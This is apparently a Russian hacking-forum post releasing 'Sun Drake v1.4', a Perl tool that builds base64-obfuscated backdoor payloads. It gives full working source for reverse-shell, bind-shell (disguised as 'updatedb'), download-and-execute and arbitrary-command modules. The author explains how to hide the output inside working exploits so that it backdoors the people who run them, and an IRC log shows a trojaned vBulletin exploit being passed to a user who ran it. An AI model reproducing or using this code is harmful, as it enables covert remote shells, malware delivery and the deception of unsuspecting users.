Sun Drake v 1.4
В первую очередь:
__________________________________________________ __________
Огромное СПАСИБО ВСЕМ кто так или иначе помогал.. при написании скрипта..
Отдельное спасибо:
Genom-- , KSURi, Helios.
А так же всем кто тестил скрипт ...
__________________________________________________ __________
Наконец-то переделал, изменил , добавил , исправил скрипт...
Теперь.. к Reverse-Shell (Back-connect) добавилось два модуля...
Всеми любимый Download and Exec и Bind Port .. )
1. Выбераем модуль...
Код:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Back-connect:
USAGE:
Parameters: file.pl ID-1 IP PORT save_as
Example: file.pl 1 127.0.0.1 9999 exploit.txt
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Download And Exec:
USAGE:
Parameters: file.pl ID-2 URL save_as
Example: file.pl 2 http://localhost/pinch.exe exploit.txt
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Bind Port:
USAGE:
Parameters: file.pl ID-3 PORT save_as
Example: file.pl 3 9999 exploit.txt
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
ID 1 - Back-connect:
ID 2 - Download And Exec:
ID 3 - Bind Port:
Скрипт в деле...
Сегодня утром зайдя на
#antichat
Мне улыбнулась фартуна ))
Сразу после захода я увидел...
* Set by madnet on Tue Apr 10 15:53:33
<BA***> HELP ME EXPLOIT VBULETIN 3.6.5 =(
<slider|p3rl> О )
<[Paran0ik]> уруру фсем
<slider|p3rl> Вот и тестер мого релиза..
<slider|p3rl> ку
<slider|p3rl> )
<slider|p3rl> BA*** какой сплоент?
<BA***> slider|p3rl http://securitydot.net/xpl/exploits/vulnerabilities/articles/1748/ex
ploit.html
<slider|p3rl> А... тьфу ты... он кривой тут
<BA***> slider|p3rl а где не кривой взять
<slider|p3rl> У меня исправленный гдет валяется..
<BA***> его только вчера запостили!
<Fen-Omen> slider|p3rl: Защита от дурака?
<slider|p3rl> цыц (=
<BA***> slider|p3rl как он мождет у тебя валяться если только вчера запостили
<BA***> =)
<slider|p3rl> BA*** он в привате был =\
<Fen-Omen> Был
<BA***> slider|p3rl понятно дай пожулуйста!
<slider|p3rl> сча поищу =\
<slider|p3rl> Бля.. того нету.. есть другой немног =\
<slider|p3rl> но всё равноврлодь работает
<BA***> slider|p3rl выложи куданить!
<slider|p3rl> сек
<slider|p3rl> http://**.**4.174.94/exploit.txt
<BA***> slider|p3rl $payload= это что?
<slider|p3rl> переменная..
<slider|p3rl> payload
<slider|p3rl> Нус?
<BA***> slider|p3rl щас проверю!
<BA***> slider|p3rl калькулятор вылазит какойто =))
<slider|p3rl> гг... я проверял свой сплоент ))
<slider|p3rl> работает всё таки )
<Fen-Omen> ппц)
Используем Reverse Shell: (ID - 1)
Используя NetCat
открываем у себя порт например 9999
nc.exe -lvvp 9999
Запускаем скрипт.. и следуем USAGE:
Код:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Back-connect:
USAGE:
Parameters: file.pl ID-1 IP PORT save_as
Example: file.pl 1 127.0.0.1 9999 exploit.txt
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Передаём все параметры через коммандую строку нашему файлу...
Указываем
ID (1), свой IP адресс и порт.. далее файл в котором сохранится наш скрипт..
Используем Download And Exec: (ID - 2)
Запускаем скрипт.. и следуем USAGE:
Код:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Download And Exec:
USAGE:
Parameters: file.pl ID-2 URL save_as
Example: file.pl 2 http://localhost/pinch.exe exploit.txt
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Передаём все параметры через коммандую строку нашему файлу...
Указываем
ID (2) , полный путь к файлу который скачается и запуститься, ну и файл в котором сохранится наш
скрипт..
Используем Bind Port: (ID - 3)
Запускаем скрипт.. и следуем USAGE:
Код:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Bind Port:
USAGE:
Parameters: file.pl ID-3 PORT save_as
Example: file.pl 3 9999 exploit.txt
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Всего три параметра...
1.
ID ставим 3
2. какой порт будет пробинден.
3. Куда сохраниться скрипт.. )
Далее втыкаем куданить пооудобней сгенерированный скриптег.. в рабочий сплойт..
И даём... нашему скрипт киддису, или человеку который упорно просит похекать какойнить форум, чат etc..
Бак конект получился очень тяжелым как и бинд порт...
Нужно было чтоб соединение держалось и после закрытия консоли cmd.exe
Вот и размер немног подкачал

После долгой ночи кодинга.. кой что исправил... перепичал немног третий модуль...
(чтоб конект держался)...
Вообщем... Смотрим.. , Используем , Критикуем, Хвалим...
Короче .. Отписываемся.. )
Код:
#!/usr/bin/perl
## Sun Drake v1.4
## Coded by slider
## Backdoor Reverse-Shell v1.3.multiplatform
## Multiplatform path by helios
## Download And Exec
## Coded by Genom--
## http://antichat.ru
if (@ARGV==0)
{
print '~' x 57 . "\n";
print "Back-connect:\n";
print "USAGE: \n";
print "Parameters: file.pl ID-1 IP PORT save_as\n";
print "Example: file.pl 1 127.0.0.1 9999 exploit.txt\n";
print '~' x 57 . "\n\n";
print '~' x 57 . "\n";
print "Download And Exec:\n";
print "USAGE: \n";
print "Parameters: file.pl ID-2 URL save_as\n";
print "Example: file.pl 2 http://localhost/pinch.exe exploit.txt\n";
print '~' x 57 . "\n\n";
print '~' x 57 . "\n";
print "Bind Port:\n";
print "USAGE: \n";
print "Parameters: file.pl ID-3 PORT save_as\n";
print "Example: file.pl 3 9999 exploit.txt\n";
print '~' x 57 . "\n\n";
}
if ($ARGV[0]==1)
{
if (@ARGV!=4)
{
print '~' x 57 . "\n";
print "Back-connect:\n";
print "USAGE: \n";
print "Parameters: file.pl ID-1 IP PORT save_as\n";
print "Example: file.pl 1 127.0.0.1 9999 exploit.txt\n";
print '~' x 57 . "\n\n";
die "[-] FAILED\n";
}
my ($ID, $IP, $PORT, $NAME)=@ARGV;
$text = qq{
open logg, '>expl~1.tmp';
print logg 'use Socket; use FileHandle;';
print logg "socket(SOCKET,PF_INET,SOCK_STREAM, getprotobyname('tcp'));";
print logg "connect(SOCKET, sockaddr_in('$PORT',inet_aton('$IP')));";
print logg 'SOCKET->autoflush();';
print logg "open(STDIN,'>&SOCKET');";
print logg "open(STDOUT,'>&SOCKET');";
print logg "open(STDERR,'>&SOCKET');";
if(-f '/bin/sh' && -x '/bin/sh') {print logg \"exec('/bin/sh');\";}
else{print logg \"exec('cmd.exe');\";}
close logg;
};
use MIME::Base64;
$encoded = encode_base64($text);
print "[*] Injecting...\n";
open base64,">$NAME";
print base64 "\$payload='$encoded';";
print base64 "use MIME::Base64;";
print base64 "\$decoded = decode_base64(\$payload);";
print base64 "eval(\$decoded);";
print base64 "if (-f '/bin/sh' && -x '/bin/sh') {";
print base64 "system('perl expl~1.tmp &');";
print base64 "system('rm -rf expl~1.tmp');}";
print base64 "else {";
print base64 "system('start perl expl~1.tmp');";
print base64 "system('attrib +h expl~1.tmp');}";
close base64;
print "[*] OK...\n\n";
print "$encoded";
}
if (@ARGV[0]==2)
{
if (@ARGV!=3)
{
print '~' x 57 . "\n";
print "Download And Exec:\n";
print "USAGE: \n";
print "Parameters: file.pl ID-2 URL save_as\n";
print "Example: file.pl 2 http://localhost/pinch.exe exploit.txt\n";
print '~' x 57 . "\n\n";
die "[-] FAILED\n";
}
my ($ID, $file, $NAME)=@ARGV;
$TEXT = qq{
use LWP::UserAgent;
my \$get = LWP::UserAgent->new();
\$req=HTTP::Request->new(GET=>'$file');
\$response=\$get->request(\$req);
(\$name='$file')=~s(^.*/)();
open(DUMP,'>'.\$name);
binmode DUMP;
\$an=\$response->as_string;
chomp(\$an);
\$an=~m/\\n\\n(.*)/s;
print DUMP \$1;
close(DUMP);
system('attrib +h '.\$name);
exec('start '.\$name);};
use MIME::Base64;
$encoded = encode_base64($TEXT);
print "[*] Injecting...\n";
open base64,">$NAME";
print base64 "\$payload='$encoded';";
print base64 "use MIME::Base64;";
print base64 "\$decoded = decode_base64(\$payload);";
print base64 "eval(\$decoded);";
close base64;
print "[*] Success..\n\n";
print "$encoded";
}
if (@ARGV[0]==3)
{
if (@ARGV!=3)
{
print '~' x 57 . "\n";
print "Bind Port:\n";
print "USAGE: \n";
print "Parameters: file.pl ID-3 BIND_PORT save_as\n";
print "Example: file.pl 3 9999 exploit.txt\n";
print '~' x 57 . "\n\n";
die "[-] FAILED\n";
}
my ($ID, $pt, $NAME)=@ARGV;
$port = $pt;
$TEXT = qq{
open logg, ">exp~2.tmp";
print logg 'exit if fork;';
print logg '\$0 = "updatedb" . " " x100;';
print logg '\$SIG{CHLD} = "IGNORE";';
print logg "use Socket;";
print logg "socket(S, PF_INET, SOCK_STREAM, 0);";
print logg "setsockopt(S, SOL_SOCKET, SO_REUSEADDR, 1);";
print logg 'bind(S, sockaddr_in($port, INADDR_ANY));';
print logg "listen(S, 50);";
print logg "while(1){";
print logg "accept(X, S);";
print logg "unless(fork)";
print logg "{ open STDIN, '<&X';";
print logg "open STDOUT, '>&X';";
print logg "open STDERR, '>&X';";
print logg "close X;";
print logg "exec('cmd.exe');";
print logg "} close X;}";
};
use MIME::Base64;
$encoded = encode_base64($TEXT);
print "[*] Injecting...\n";
open base64,">$NAME";
print base64 "\$payload='$encoded';";
print base64 "use MIME::Base64;";
print base64 "\$decoded = decode_base64(\$payload);";
print base64 "eval(\$decoded);";
print base64 "if (-f '/bin/sh' && -x '/bin/sh') {";
print base64 "system('perl exp~2.tmp &');";
print base64 "system('rm -rf exp~2.tmp');}";
print base64 "else {";
print base64 "system('start perl exp~2.tmp');";
print base64 "system('attrib +h exp~2.tmp');}";
close base64;
print "[*] OK...\n\n";
print "$encoded";
}
--------------------------ОТДЕЛЬНЫЕ МОДУЛИ--------------------------
Вот новый модуль Exec:
Очень простой.. поэтому прикручивать не стал..
авось пригодиться...
Код:
#!/usr/bin/perl
## Module: Exec (Sun Drake v1.4)
## Coded by slider
if (@ARGV!=2)
{
print '~' x 57 . "\n";
print "Exec Only:\n";
print "USAGE: \n";
print "Parameters: file.pl <command> save_as\n";
print "Example: file.pl \"shutdown -s -t -1\" exploit.txt\n";
print '~' x 57 . "\n\n";
die "[-] FAILED\n";
}
my ($pt, $NAME)=@ARGV;
$port = $pt;
$TEXT = qq{system('$pt');};
use MIME::Base64;
$encoded = encode_base64($TEXT);
print "[*] Injecting...\n";
open base64,">$NAME";
print base64 "\$payload='$encoded';";
print base64 "use MIME::Base64;";
print base64 "\$decoded = decode_base64(\$payload);";
print base64 "eval(\$decoded);";
print "[*] OK...\n\n";
print "$encoded";
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~
Exec Only:
USAGE:
Parameters: file.pl <command> save_as
Example: file.pl "shutdown -s -t -1" exploit.txt
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~
1. вводим команду которая выполнится...
2. Файл куда сохранить скрипт ..
Очень маленький и очень простой =)
--------------------------ОТДЕЛЬНЫЕ МОДУЛИ--------------------------
Переделал Download And Execute:
Код стал намного короче.... (а значит меньше палева...)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~
Exec Only:
USAGE:
Parameters: file.pl <from> <in> save_as
Example: file.pl http://127.0.0.1/1.exe c:\\1.exe ext.txt
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~
#!/usr/bin/perl
## Module: New .. Dowload and Exec (Sun Drake v1.4)
## Coded by slider
if (@ARGV!=3)
{
print '~' x 57 . "\n";
print "Exec Only:\n";
print "USAGE: \n";
print "Parameters: file.pl <from> <in> save_as\n";
print "Example: file.pl http://127.0.0.1/1.exe c:\\\\1.exe ext.txt\n";
print '~' x 57 . "\n\n";
die "[-] FAILED\n";
}
my ($pt, $in, $NAME)=@ARGV;
$TEXT = qq{use LWP::UserAgent;
\$ua = LWP::UserAgent->new;
my \$req = HTTP::Request->new(GET =>"$pt");
\$res = \$ua->request(\$req, "$in");
exec("start $in");};
use MIME::Base64;
$encoded = encode_base64($TEXT);
print "[*] Injecting...\n";
open base64,">$NAME";
print base64 "\$payload='$encoded';";
print base64 "use MIME::Base64;";
print base64 "eval(decode_base64(\$payload));";
print "[*] OK...\n\n";
print "$encoded";